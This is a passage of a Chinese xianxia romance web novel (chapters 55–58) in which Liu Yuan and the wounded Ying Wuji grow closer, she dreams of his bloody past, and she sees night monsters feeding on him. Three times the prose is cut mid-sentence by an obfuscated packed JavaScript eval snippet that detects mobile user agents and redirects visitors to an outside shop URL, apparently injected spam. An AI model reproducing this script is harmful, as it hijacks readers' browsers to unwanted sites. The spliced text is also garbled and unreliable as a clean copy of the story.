说这句话的时候,应无霁轻轻低着头,目光紧紧锁定在柳沅身上。他那双漂亮的眼睛微微垂着,显出一种温和的,毫无攻击性的温柔来,但当柳沅抬起头,错愕地对上他的视线时,那股温柔突然变成了一种直白的侵略。几乎是同一时刻,她慌乱地低下头。 心脏在胸膛中剧烈跳动,柳沅有点喘不过气来。 只不过应无霁并没有盯着她太久,很快就移开,去看飘落在院中的雪。 雪越下越大了,刚才还在飘树叶的大树一下就穿上了银色的冬装,地面也被厚厚的雪覆盖。 寒风骤起,两人穿的又少,这样站下去恐怕会得风寒,应无霁让柳沅先回房间,说冬天天黑的早,早点回去休息比较好。 柳沅哆嗦了一下,望着他落满白雪的肩膀,欲言又止。 应无霁撑着伞,带着她往房间的地方走。 “应无霁。”柳沅突然停下,喊了他一声。 55. 任务变更(5) 他疑惑地回头。 “我……”柳沅不自在地抓紧了袖子,想说的话又卡在了喉间。 应无霁并没有像平时那样离开,而是耐心地等待着,期间,雪下的越发大了,他又把伞往柳沅这边偏了一些。 “你……”憋了半天,柳沅还是没能说出让他把伞挪一点的话,自暴自弃地沉默了。 总觉得说出来好像会更奇怪,就像应无霁故意要把伞往她这边挪,怪自作多情的。 应无霁盯着她纠结的表情,压了压上扬的嘴角,道:“你最近说话怎么总是支支吾吾的,是有什么不能说吗?” 柳沅露出做坏事被抓住的表情,猛地摇头,否认道:“没……没有。” “我有什么不能说的,我什么都能说。” 说话间,两人已经走到柳沅房间前。 应无霁被她这话逗笑了,道:“真的什么都能说吗?” 他的情绪总是淡淡的,表情也总是淡淡的,但笑起来真的很好看,特别是那双眼睛,像亮闪闪的星星。 柳沅下意识追寻着他的视线,脑子一片空白,下意识道:“当然。” 他弯了弯眼睛,拖长了声音:“那你应该对我说一句话。” “什么?”她困惑道。 应无霁又笑了,摇摇头,叹了一口气:“算了,不为难你了。” “早点休息吧。” 说完,他打着伞就要离去。 话只说一半,这让她怎么可能甘心就放他走。柳沅猛地上前一步,拉住了他的袖子。应无霁有些意外,回头盯着她,无奈道:“做什么?” “你别话说一半就走了啊,说清楚,你要我说什么?”她执拗地盯着他,道。 应无霁本来只想逗逗她,见她当了真,一时之间也不知道说什么,两人大眼瞪小眼,陷入了一种诡异的沉默。 突然,柳沅脑中灵光一闪,想起了贺听舟的话。 “不过在这里,你最应该感谢的人不是我吧?” 贺听舟戏谑的表情仿佛仍在眼前,柳沅的心飞快地跳起来,快到有点喘不过气。 偏偏这时应无霁似乎也想到了贺听舟的话,盯着柳沅的眼神有些意味深长。她匆忙避开他的眼神,耳尖有点红。 “你……”应无霁刚发出声音,就感觉拉着自己袖子的力道突然一松。柳沅猛然转过身,咻的一下钻进了房间,还火速关上了门。 他眨了眨眼睛,有点没反应过来。 雪下的越发大了,寒风卷着雪花吹打着他的面颊,有点凉。 应无霁将她刚刚拉皱的袖子抚平,又抖了抖肩上的雪,提步往自己的房间走去。 天色渐渐暗下来,兴许是突然下雪的缘故,世界变得分外安静。 他正低头确认哪块地方是台阶,突然听见柳沅故作镇定的声音。 “我……我想起来了。” “什么?”他忍不住回头,发现原本紧紧闭着的门被小心翼翼地打开了一条缝,露出一双警惕的大眼睛。 柳沅先是盯着他看了几眼,才缓缓打开门,不自在地挠挠头。 “我想起来要说什么了。” 这话让他哑然失笑,眼睛一弯,无奈道:“怎么还记着这个?” 她撇撇嘴,嚷嚷道:“我……我就是觉得我应该说的,没……没有别的意思。” “你觉得我提这个有什么别的意思?”应无霁挑眉,拖长了声音。 她脸一红,端着一副豁出去的表情,突然大声:“我应该……应该对你说句谢谢。” “谢谢你在阵法中救了我,还不顾自身安危保护了我。” “我知道那个法阵特别危险,你身上又有伤,在那种情况下还能不顾自身安危把我护住,真的让我非常感动。” 为了避免让气氛变得奇怪,柳沅特意加粗了声音,但听起来反而有种刻意的扭捏。暧昧的气氛确实不存在了,但更尴尬了。 特别是应无霁的表情,十分一言难尽。 她当作没看见,接着道:“其实这么多天相处下来,我发现你是一个热心善良,温柔友善的人,真的很感谢你没有在那样危急的情况下扔下我。” 说到这里,她大概是觉得有点奇怪,皱了皱鼻子,突然哈哈大笑:“哎,说真的,你真的太讲义气了,下次,下次你要是有任何困难,我一定挺身而出。” 应无霁只是静静地望着她,面无表情。这让柳沅脸上的笑猛地僵住了。 她的眼神四处乱飘,就是不敢落在应无霁脸上。 “你是说,我救你是因为义气?”他突然问道。 应无霁的语气很淡,柳沅听不出来他现在是个什么情绪,观察他的表情也没有任何变化,什么都看不出来。 她心里有点没底,试探性地应了一声。 应无霁扶着下巴,仔仔细细上下打量了下她,冷不丁道:“我救你不是因为义气。” 望着柳沅惊恐的双眼,他顿了顿,思考了一会儿,最后有些犹豫道:“我也不知道是因为什么,但是我就是不想看着你死掉。” 他的神色很认真,语气也很坚定:“我从来没有这么想留住一个人,你是第一个。” 柳沅的眼睛登时就瞪大了,浑身缩成一团,捏着门框的手青筋暴起。 他什么意思? 她懵了。 如果是以前,柳沅只会觉得娘亲终于愿意敞开心扉接受她了,会非常开心。但现在…… 应无霁不仅不是她的娘亲,甚至是个男的。这话从他口中说出来,有种疑似告白的味道。 就很像偶像剧中男主角对女主角坦白,你对我产生了意义,你在我眼中和别人不一样。 她被自己的想法吓到了,低下头不敢说话。 而下一刻,应无霁的话更是把她扔进了深不见底的寒潭。 他思考了一会儿,眼底的迷惑突然褪去,若有所思地盯着她道:“大概是因为我很喜欢你,所以不愿意你失去生命。” 我天。 柳沅感觉浑身的血液都被冻住了。 应无霁喜欢自己? 他喜欢谁? 他刚才说了什么?! 和柳沅此时的宕机不同,应无霁歪歪脑袋,皱着眉头补充了一句:“我也很喜欢小青,也不希望它死掉,你也一样。” 原来是这种喜欢。 柳沅刚才提起的心骤然回落,整个人也突然放松下来。只是不知道为什么,听到这样的答案,她有些失落。 她暗骂自己奇怪,迅速收拾好心情,露出一个灿烂的笑容,对应无霁道:“谢谢你的喜欢。” 应无霁淡淡地点头,看了一眼外面的天色,就要离开。 雪花在伞面落下痕迹,浓郁的白色有点晃眼,柳沅望着他离去的背影,有一瞬间的失神。 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204194|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被轻轻关上,她把冰凉僵硬的手揣进怀里,控制不住地往半开着的窗子望去。 应无霁的身影一闪而过,快的仿若闪电,但她却盯着那边好久。 直到雪花落了满地,将他印下的脚印淹没。 丝丝缕缕的寒风从窗户边吹来,柳沅这才后知后觉些冷意,哆嗦着身体关上了窗户。 又是梦。 火,入目皆是熊熊燃烧的火。 豪华高大的宅子陷于火海,哭喊声不绝于耳,但丝毫动摇不了那站在货场中央的人。 他穿着一身黑衣,戴着黑色的帏帽,站在一个女子面前。 柳沅一眼就认出那人就是应无霁。 咚咚咚——是一阵急促的脚步声。 一群全副武装的修仙弟子跨过火海,将应无霁团团围住,为首之人是一个十六岁的少年,脸上的表情还十分青涩,剑也拿的不是很稳。尽管这样,所有人望向他的眼神都充满了滔天的恨意。 “我们……我们是青天宗的弟子,特来为民除害!你这个魔头,到处杀人夺财,今日竟然将主意打到了公主身上!我今天不仅要率领众弟子报你杀师之仇,还要救出公主!” 少年扬声道。 他口中的公主突然冲了出来,张开双臂挡在应无霁面前,大声道:“今日谁都别想伤害他!” 此言一出,众弟子的表情都十分震惊。有人大喊道:“公主!他是人人喊打的魔头,还想杀您,我们是来救你的。” 更有人直接冲了上去,打算趁着应无霁不注意偷袭。 他神色淡淡,冷冷扫了那偷袭的人一眼,微微动了动手指,那偷袭之人顿时倒在了地上,七窍流血。 短短几秒,他便杀了一个人,这样的狠辣果断,让众弟子都十分震惊。有人实在忍不住,大怒着冲上去,结果还没近身,就被应无霁一剑捅了个对穿。 鲜血飞溅,落在他苍白的脸颊,还有那双冷漠无情的双眼处。 应无霁毫无杀人后的悔恨,依旧用那双空无一物的双眼盯着众人,目光狠戾,像狼群中厮杀到最后的狼。 众人对视一眼,纷纷举起了各自的法宝武器,准备一起上。 火烧的更旺了,满室的红光中,应无霁眼底的冷漠更甚。他缓缓抬手,掌心聚起淡淡的蓝光。 双方互不相让,大战一触即发。就在这时,一双细腻白皙的手轻轻拉住了应无霁沾血的袖子。他意外地低下头,和公主哀求的目光对上。 “先冷静下来,好吗?”她浑身都在发抖,虽然很害怕,但还是义无反顾地挡在了他面前。 “我不会让他们伤害你的,信我。”公主认真地望着他,轻声道,然后转身,面对愤怒的人群。 “只要我在这里,你们休想再前进一步。”尽管自己也在害怕,她还是掐紧了自己的手背,坚定地望向众人。 “公主,现在不是您耍脾气就能解决的事情,他灭了一整个修仙门派,一整个啊!他必须给我们偿命!”少年气愤地握着剑,指着面无表情的应无霁,浑身都在发抖。 “你们看看啊,杀了那么多人,他还是一副事不关己的样子,他就是天生坏种,绝对没有从良的可能!” “小无不是坏人,他只是……他只是……”公主美丽的脸上留下了两行热泪,哽咽道:“他只是不太明白这世界的规则。” “我会教他的,请诸位再给我们一次机会。” 56. 任务变更(6) 画面在这里结束,柳沅从梦中惊醒,缩在被窝里一动不动。 如果说上次的关于应无霁的梦是巧合,那这次呢? 不可能次次都是巧合吧? 她有些睡不着,起身靠在床头坐了起来。 惨白的月光透过窗纸,落在房间中央的木桌上,像突然点了一盏灯。柳沅心血来潮爬下床,光着脚来到窗户前,往外轻轻一推。 雪小了很多,地面都染上了浓厚的白色,月光在雪地的映衬下更显明亮,照的整个世界恍若白昼。 屋顶下哗啦啦地掉下一些雪来,柳沅循声望去,发现了一道熟悉的身影。 竟然是应无霁。 他还穿着白天那身破烂又沾满血迹的衣服,孤单单地躺在屋顶上望月亮。 柳沅一怔,脑子里回忆起应无霁屡次和她强调夜晚十分危险的画面,突然觉得荒谬。 夜晚的危险程度她是知道的,应无霁也知道,甚至还差点被那群妖怪围攻到没命。但他竟然不顾自身安危,就那么大剌剌地躺在屋顶上,生怕自己不被那群怪物发现。 他是伤好了就忘了疼吗? 柳沅的心里有点不是滋味。 突然,寂静的庭院里响起模糊的交谈声,她悄悄地探出半个头,并没在院中发现什么人,甚至连妖怪都没有。 她疑惑地缩回头,习惯性地朝着应无霁所在的方向望去,猛地瞪大了眼睛。 是血。 应无霁无力地躺在雪中,身下流了一大滩血。萤神只黏在他颈侧,尖利的牙齿没入血肉里,带出一片刺眼的血色。 它在吸应无霁的血。 柳沅不可置信地捂住了嘴巴,这才没让颤抖的惊叫声露出来。 她突然觉得自己撞破了一个大秘密。 那些她曾听见过很多次的模糊交谈声,不是娘亲在哭,是血肉被吞噬的声音。是那群怪物在吸食应无霁的血。 她浑身发软,控制不住地摔在了地上。 “你的仇敌太多了,如果不是你体质特殊,你早就死了。”萤神只的话里不怀好意。 “其实只要你想,没有人能杀的掉你,甚至李怀朔也不行。”它露出沾满血渍的牙齿,阴森森道,“如果我是你,我会把所有反对我的声音杀掉,既然已经走上这天路,那就一条道走到黑。” “我真可怜你,好的不彻底,坏的也不彻底。” 说完,萤神只舔掉嘴角的最后一滴血,怜悯地忘了一眼躺在雪中不省人事的应无霁,消失了。 随后,柳沅又听到了那阵熟悉的模糊交谈声。 应无霁的血吸引了潜藏在黑暗中的鬼魅,和那天晚上一样的事情发生了,应无霁被铺天盖地的黑色淹没。 柳沅呆呆地望着他,却再也说不出苛责他不反抗的话。 心头好像有火在烧,她想出去,双腿却像被灌了铅,重的迈不开。 一个难以置信的疑问缓缓浮上心头。 他每天都在经受这样可怕的事情吗? 柳沅不敢想。 难怪他总是一副困倦的样子,难怪他总是脸色苍白,弱不禁风。难怪他一再强调夜晚的危险。 如果这是真的,柳沅不敢想,他该有多痛。她也总算明白,为什么那天在阵法中,他抱着自己,被浓度那么高的能量流攻击,还能一声不吭。 他根本不是坚强,而是习惯了。痛苦再剧烈,只要习惯了,就会麻木。 麻木了,就算再痛,也不会难以忍受。 她从地上爬起来,冲动地推开了门。 蓬松的雪花被门打开时掀起的风吹散,掉落在她的眉毛,睫毛,还有头发上。视线有一瞬间的模糊,她咬紧下唇,奋力地朝着院中跑去。 在这样寂静的深夜,柳沅发出的动静足以吸引那群怪物的注意,应无霁感觉身体一轻,发现那些怪物全都调转了方向,似乎在朝着…… 他猛地坐起身来,和朝着自己跑来的柳沅对上了视线。 “你们都过来啊,我刚吸收了很多能量,你们快来吃我啊!”她站在院中最开阔的地方,手作喇叭状,对着那团不怀好意的黑气大声呼喊。 她被那诡异的阵法灌了很多能量后,能够显著地感受到身体的变化,也能更敏锐地感知到别人的力量。 那团黑压压的怪物群散发出来的都是赤裸裸的恶意,还有浓厚的无法令人呼吸的压迫感。 她顿时就出了满头的汗,望着那些奇形怪状,缠着一团的肉块,不断地往后退。 其中有一个怪物,她记得,就是那天晚上她偷跑出去见过的,长着一张血盆大口,咻的一下就朝她飞来。 柳沅出来之前拿了一根很粗的木棍,咬紧牙关砰的一下就对着那怪物挥去。 院子里响起一阵剧烈的碰撞声。 她下意识把灵力注入其中,竟然将那怪物锤成了肉饼,木棍甚至毫发无伤。她吃惊地望着手中的木棍,又看看忌惮她往后退了数步的妖怪们,一种从未有过的感觉涌上心头。 这就是有力量的感觉吗?太爽了吧! 她得意地皱了皱鼻子,把木棍扛到肩上,挑衅地看了一眼突然停下来的怪物们。 “怎么不上了?害怕了?”她挑眉道。 “小女娃挺大的口气。”黑暗中钻出一个黑乎乎的东西,像缠在一起的头发。柳沅一愣,想起这东西是之前让她头发长长,还差点杀掉李桑字的寄生鬼。 这鬼不是死了吗? 她警惕地把木棍放在胸口处,一动不动地注视着前面黑压压的怪物们。 咦,等等。 她揉了揉眼睛,好像看见这些怪物的头上有一条隐隐约约的线,是红色的。 和前几次看见的很像,只是之前看到的都是红白交错,这次是彻底的红色。 但这些红线出现的时间很短暂,她只凝神盯了一会儿,那些红色就被纷飞的雪花掩盖了。 柳沅只当是自己太紧张出现的幻觉,继续调起浑身的力量,警觉地观察着这群怪物的动向,生怕它们趁自己不注意偷袭。 屋顶上,应无霁捂着胸口,控制不住地喷出一口血来。 自从吃了那甘月草, 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没等她说完,应无霁猛地把她按入怀中,同时右手操纵桃木枝,将偷袭的怪物击出老远。 “回房间。”他低声道,牵着柳沅就往她的房间跑。 门被重重地关上,那阵模糊的谈话声被隔绝在外,应无霁靠在门板上,缓缓滑落。 “没事了。”他疲倦地闭上眼,轻声道。 柳沅站在一旁,望着他满身的伤,欲言又止。 “你问吧。”他突然睁开眼睛,直勾勾地盯着她,似乎知道了她心里的疑惑和纠结。 柳沅深吸一口气,靠在他身边坐下,斟酌着语气,问道:“那些怪物……杀不死吗?” 刚才她分明已经打死了那个血盆大口的怪物,它都已经成了一滩肉泥,怎么突然又会复活,还有那个寄生鬼,柳沅能够确定和袭击李桑字的是同一只,怎么会突然复活。 应无霁眼底的疲倦很浓,声音也很低:“杀不死。” 柳沅瞪大了眼睛。 “除非吸收掉他们的力量,”他的声音很低沉,带着点冷意,“吸收这群怪物的力量可以在短时间内快速提升修为。” “只不过很痛苦?”她回想起自己在那个阵法中体会到的痛苦,试探性地问道。 应无霁张开嘴,很深很深地叹了一口气,低声道:“不仅是痛苦,还意味着你会越来越贪婪,越来越离不开这种变强的感觉。” 闻言,她的表情慢慢变得僵硬。 “到最后,会变成和它们一样的怪物。” 他说这话的时候,特意看了她一眼。柳沅震惊的表情被他尽收眼底,应无霁又往后靠了靠,轻声道:“不过你只吸收过一次,只要下次别吸收就行了。” “你不用担心。” 但柳沅根本没想到这一层,她的心神全被他口中那句变成和它们一样的怪物占据。 所以,应无霁是因为不想变成怪物,才宁愿被那群怪物伤害,所以才不愿意反抗吗? 57. 任务变更(7) 她觉得有点不可思议。 以她这几个月和应无霁的相处看下来,他是一个对什么都没有多余的感情的人,有时甚至显得有点冷血。 他对待他们之间的关系也总是淡淡的,点到为止。 说句不好听的,虽然吸收妖物的力量不好,但要是她,说不定会选择吸收那些怪物的力量提升修为。她无法容忍这些东西伤害自己,自己还不能反抗。而且,这个修仙世界本来就是强者为尊,如果没有实力估计都不怎么能活下来。有能提升修为的手段,为什么不用呢? 柳沅对修仙没什么特别高尚的追求,她以为应无霁也会这样。但他没有,他的选择和柳沅完全相反。惊讶之余,她的内心被一股莫名奇妙的颤动包裹,好像一片死水突然泛起了涟漪。 应无霁昂头望着她颤抖的睫毛,轻轻喊了她一声。 柳沅猛地回过神来,啊了一声。 “还有什么问题吗?”他道。 她犹豫了一会儿,挠挠头,还是问出了盘旋在自己心底很久的问题:“你为什么晚上还在外面,这样不是给那群妖怪可趁之机吗?” 闻言,他的眼神突然变得很遥远,好像透过柳沅看见了些别的东西。这样的状态持续了几十秒,他缓缓张嘴,道:“很久以前,这个世界的黑夜不是这样的。” “以前无论白天还是黑夜,都不会有这么可怕的妖怪。” 他的声音很缓慢低沉,像在讲一个很久远的故事,柳沅不知不觉听入了迷。 “后来突然有一天,夜晚变得十分可怕,各种凶恶的怪物突然出现,人族险些在这个世界上消失。再后来,昆仑仙山来了一位仙人,对那些妖怪设下了诅咒,让他们无法在夜晚攻击睡着的人们。同时设下另一道禁制,让所有人都必须在夜晚入睡。” 听到这里,柳沅忍不住问道:“那你怎么……” 后半句话被她吞了进去,但应无霁知道她想问什么,抿了抿嘴唇:“我无法入睡,自然也无法受到规则的保护。” “为什么?”她还是无法理解,“那仙人不是对所有人都施咒了吗?” 应无霁休息了很久,感觉力气恢复了一点,双手背在身后,扶着门缓缓站了起来。他并不打算回答柳沅这个问题,转身就要离开,被她紧紧抓住了。 这回,抓的不是袖子,而是手。 是真实的皮肤触碰在一起的感觉。 他转过头,被她灼灼的目光烫了一下,迅速移开视线。手背被狠狠掐了一下,他愣了愣,被迫去看柳沅的眼睛。 “做什么?”他很无奈。 “你总是避开我的问题。”她有点生气,眉心的两颗小痣挤在一起,脸颊也鼓鼓的,像一只胀气的河豚。 应无霁摇摇头,还是不愿意说。 “我又让你为难了吗?”柳沅有些失落地垂下头,“我只是想帮帮你。每晚你都会经历这些,会很痛吧?” 会很痛吧? 他垂下眼,轻声道:“没有什么痛不痛的,习惯了。” “但是……”柳沅还是执拗于这个话题,拉着他的力度越发大了。应无霁望向两人紧挨在一起的手,心脏有点酸。 “我之前一直都不知道,不知道你会每天遭受这样的事情,我之前,我之前还怪你,怪你不愿意反抗,我……”柳沅的脑子一片混乱,下意识以为应无霁不愿意告诉自己原因是因为她之前对他态度不好,话语间都有了哽咽。 “如果是因为我,因为我之前的态度让你不想说,我向你道歉。”她郑重其事地弯下了腰,对着应无霁深深一鞠。 听应无霁讲话的时候,她的脑海里出现了很多他的背影,似乎总是单薄的,孤单的,带着决绝的。恍然间,她又想起那阵法中他微微颤抖的身体,紧紧按着她头的手,还有温暖的,密不透风的怀抱。 怎么有人会那么好呢?宁愿自己受伤也不愿意妥协。 “真的很抱歉。”她说话的声音已经带上了哭腔。 应无霁没想到自己的一个小举动会让柳沅反应这么大,终究还是心软了,弯下腰,用另一只手拍了拍她的肩膀。 柳沅飞速地眨眨眼睛,将涌出来的几滴泪眨干,直起身来,眼睛红红地盯着他。手中紧紧拽着的另一种宽大的手动了动,她看见自己的手被应无霁包了起来。 他的表情很是无奈,但又带着明显的纵容,让她的心里泛起一种微妙的得意。 你看,应无霁对你还是很特别的,要是别人,他根本就不会有任何反应。她被自己这种奇怪的想法吓到了,一时间有点六神无主。 “我没怪你,别哭了。”他语气温和,伸出手,用指腹擦了擦她残留在眼角的泪珠。 “任何术法都会有遗漏,我只是运气不好,正好成为了那个被遗漏的人。”应无霁的笑有些无奈,“换个角度想,其实是我也挺好,至少我能在怪物的围攻下活下来。” 见柳沅还是一副闷闷不乐的样子,他还准备多说几句,目光扫过她的手背,在那块红色的印记处突然顿住了。 柳沅正胡思乱想,突然感觉自己手背被摩挲了一下。她震惊地抬头,正好对上应无霁冷静的目光。 不对,应该不能说是冷静,而是冷淡。 只一眼,她就像坠入了寒冷刺骨的冰窟,浑身都冻住了。直觉告诉她,应无霁现在的心情应该是相当不好。 鬼使神差的,她望向两人紧紧交握的手,突然发现应无霁的大拇指放在萤神只留下印记的那块位置。 有点凉。 不知道为什么,她有点心虚。 应无霁并不知道她在晚上偷偷跑出去的事情,她也没和他说过。骤然让他看见自己手背上萤神只的印记,他肯定会起疑,突然生气也一定是因为这个。 她又把头往下低了低,忐忑不安地等待着应无霁的审问。 但想象中的情形没有出现,应无霁什么都没问,直接把唇贴向了柳沅的手背。 一股带着湿润潮意的滚烫透过皮肤,加热了血液,也加快了她的心跳。 柳沅大脑一片空白,条件反射地想抽回手,被应无霁按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214856|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了。 他冷冷地看了她一眼,闭上眼睛继续吻向那块红色的印记。 她方寸大乱,脑子控制不住地想到了一些奇怪的画面。 应无霁为什么突然要亲她的手?他到底什么意思? 现在是亲手,之后呢? 不会要强吻她吧? 这荒唐的想法在应无霁放开她的手之后骤然终止。 他的脸色又变白了一些,望着柳沅涨红的脸,轻声道:“我已经帮你把萤神只的印记除去了,以后不要在晚上到处乱跑了。” 柳沅这才发现自己误会了他,结巴了半天,憋出句谢谢。 应无霁轻笑一声,狭长的眼睛轻轻一弯,那右眼长长的双眼皮褶皱像一个细长的钩子,勾的柳沅的心重重一跳。 她有种不祥的预感,连忙往后退了几步。 应无霁弯弯唇角,表情戏谑:“你该不会误会了什么吧?” “什么误会?”她被戳中了心事,像一只炸毛的猫,情绪陡然激动起来,“我能误会什么?” 她这副样子实在是心虚的明显,应无霁挑挑眉,用一种意味深长的眼神打量了她数秒,这才收回视线。 “还有什么想问的吗?”他道。 柳沅现在整个人都很乱,满心都是刚才看到的应无霁颤动的睫毛,唇畔触碰到手背的温热,还有他的笑…… 她觉得自己就像一团被拆开又揉在一起打结了的毛线,怎么都解不开,又不甘被缠着。 沉默持续了很长一段时间,她听见应无霁轻轻的一声咳嗽。 对了,她突然想起来,应无霁还受了伤。 “你身上的伤怎么样了?”她犹豫地往前走了几步,抬头望向他,问道。 应无霁捂着嘴又咳了几声,摇摇头:“没事的,过会就好了。” 可是,他脸色那么苍白,根本不像没事的样子。 她又胡思乱想了一阵,最后觉得他们现在应该也算是朋友了,自己关心朋友根本什么奇怪的,而且应无霁还是一个很好的朋友。 自己更应该多关心他。 想清楚了,柳沅说做就做,转身往床铺的方向去,鼓捣了一阵,她又回到应无霁身边,拉着他往床铺的方向走。 应无霁淡黑色的眼珠扫过床面上放着的干净衣服,和已经铺好的床,顿了顿。 “这是做什么?”他的声音带着点哑,显然是在忍着痛。 柳沅心想你果然不是没事,道:“夜晚还那么长,你又受伤了,需要休息。” “可是,我睡不着。”他有点无奈。 柳沅踮起脚,双手搭在他的肩膀处,把他往下重重一按,迫使他坐在了床上,然后又把放在边边的衣服扔到他身上,摆出一副强硬的架势,道:“先把衣服换了。” 说完,瞪着两只大眼睛,一动不动地盯着应无霁。 应无霁忍不住笑了。 “你笑什么?”柳沅纳闷。 他指指自己,又指指柳沅,唇角小幅度地弯起来:“你要看着我换吗?” 58. 任务变更(8) 该死。柳沅猛地转身,同时捂住了自己的胸口。 心脏正在激烈地跳动着,仿佛下一刻就要从嗓子眼里跳出来了。 她深吸一口气,拼命抑制着这种奇怪的感觉,直到身后的人喊了她的名字。 柳沅的耳尖突然红了,磨磨蹭蹭地转身,眼睛一直盯着地面。 “稍微有点小。”应无霁拉了拉明显短一截的袖子,道。 她这才敢抬头,飞速扫了一眼他的身体,干笑一声:“这是我的衣服,肯定会小的。” 应无霁对着她笑笑,轻声道:“多谢。” 他很少笑,这个笑容弧度稍微大了一点,好看的不得了。柳沅感觉耳朵更烫了,匆匆走到床边,把被子裹在他身上。 应无霁顺从着她的动作,有点不明白她这样做的目的。 柳沅察觉到了他疑惑的目光,解释道:“晚上冷,你穿的单薄,盖被子会好点。” 他又低声笑了,骤然抬头的一瞬间,发带正好散了,一头乌发落下来,在惨白的月光的照耀下,像夺人心魄的妖精。 那双黑中透蓝的眼眸落在柳沅脸上,里面亮晶晶的,像银河,像流星。 她屏住呼吸,狼狈地移开视线,却在下一刻跌入他的怀抱。 “你干什么?”感觉到腰间那双不属于自己的手,柳沅在一瞬间熟透了,无措地抬头望向始作俑者。 应无霁的表情很淡,好像完全没有意识到他们现在的这个动作有多出格。 “我看你穿的也很薄,我们可以一起盖被子。”他道。 “但是,但是。”柳沅结巴了半天,想说他们这个样子很不合适,却在看见应无霁懵懂的眼神后咽了下去。 算了。她有些自暴自弃地想,屋子里本来就冷,这样还更暖和一点,正好她也不用担心应无霁会突然出去。 不就是抱一下吗?他们不是早就抱过了吗?还差这一次? 说服自己后,柳沅放松了一点,冰凉的身体渐渐暖了起来,困意也在此刻渐渐漫上心头。 她打了个哈欠,眼睛红红的,却怎么也不肯闭眼。 应无霁察觉到了她的困倦,放低了声音道:“想睡就睡吧,那些东西进不来的。” 柳沅的脑子有点迷糊,下意识往他怀里钻了钻,双手抱住了他的腰,这让应无霁的身体僵了僵。 他想把柳沅往外拉,就听见她不满道:“不是你要抱我的吗?怎么现在又不愿意了。” 这话让他一愣,随后轻叹一口气:“你这样坐着睡觉会舒服吗?” 这倒也是。柳沅快要合上的眼皮突然睁开,就着他的手臂从他怀中钻出来。裸露的皮肤触碰到冷空气的一瞬间,她不由自主地打了个寒颤,应无霁把裹在自己身上的被子拿下来,在床上铺平,伸手进去探了探温度,若有所思地看了柳沅一眼。 “哎呀,好了吗?我要冷死了。”她又打了个哈欠,眼皮耷拉下来,显得有点迷迷糊糊的。 应无霁侧开身体,给她让路。 柳沅胡乱地脱掉外衣,钻进了被窝,又后知后觉自己还没洗澡,想钻出来。 应无霁把她的头往被子里一按,柳沅刚想抗议,就感觉额头上被一阵冰凉的感觉所包裹。 “你睡吧,我给你画了除尘符,不用担心洗澡的问题。”他道。 柳沅费力地睁开眼睛,冲着他一笑:“谢谢你啊。” 应无霁点点头,把凳子搬到床边,盯着她入睡。 柳沅在床上滚了滚,把被子紧紧裹在身体上,却还是觉得没有刚才暖和。她看了看应无霁单薄的衣服,露在外面冻红了的手,有点犹豫。 这才半夜,距离天亮还有很久,这样冻下去会生病的吧? 可是男女授受不清,他们之间的关系还没到能够同床共枕的程度吧? 可是…… 她又想到自己让应无霁盖被子时,他把她也拉了进去,就止不住地心软。 算了,柳沅狠心地抬头,豁出去了。 就当是做了件好事。 “你要不要也躺进来?”她往里面挪了挪,试探性问道。 应无霁愣了愣,摇摇头:“不用,你睡吧。” “虽然说被子里也没有特别暖和,但你一整晚呆在外面,穿这么薄的衣服,会生病的。”她有点不满地瞪着他,苦口婆心地和他讲道理。 “嗯,我知道外面很冷,然后呢?”他点头。 “然后……”柳沅的话突然卡在了喉咙里,她突然咳嗽一声,声音低了很多:“你要是生病了,我就要照顾你,这得多累啊。” 说完,视线乱晃,宁愿看窗户也不愿看应无霁。 他知道她在关心自己,也知道她说那些有些刺耳的话是因为不好意思,所以他低下头,轻轻笑了一声。 “我打坐就可以了,在体内运行灵力的时候身体会主动发热,不会冷的。”他解释道。 “你不用担心我。” 听见这话,柳沅很不自在地把头缩进被子里,闷声道:“我可没这样说。” “谁担心你了?” 应无霁没搭腔,闭上眼睛,开始调息。房间里突然变得很安静,刚才被冲散的倦意再度卷土重来,柳沅的眼睛控制不住地发酸,但她还是强撑着不肯睡。 被子里渐渐暖和起来,有点闷,她悄悄地探出头,飞快地瞟了应无霁一眼,见他调息后的面色红润了很多,这才松了一口气。 “怎么还不睡?”应无霁突然睁开了眼睛,正好对上柳沅的视线。 她像被什么东西烫了一下,飞速移开视线,又往里面滚了几圈,闷闷道:“我……我怕我睡着了它们又会来,我醒着还能帮你赶走那群怪物。” 闻言,应无霁十分无奈地看着她,解释道:“我和你呆在一起,规则就有效,那些怪物进不来的,你放心睡。” 这倒是个好消息,柳沅眼睛一亮,确认道:“真的吗?” 应无霁点点头。 柳沅这才感觉压在心头的一块大石头落下了,也不焦虑也不担心了,舒舒服服地闭上了眼睛。 房间再度陷入寂静,应无霁听着床上女子的呼吸声,目光停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我想吃什么?”柳沅指着自己,夸张问道。 应无霁轻轻点头,耳根有点红:“我正好要去做早饭,你想吃什么?” 还真是不一样了。柳沅一愣,以前的应无霁可是不会管她想吃什么,都是有啥吃啥的。 这微小的变化是不是说明她在他心里的地位已经和以前大不相同了? 柳沅窃喜,忙道:“我想吃面,你随便下点就可以了,谢谢啊。” 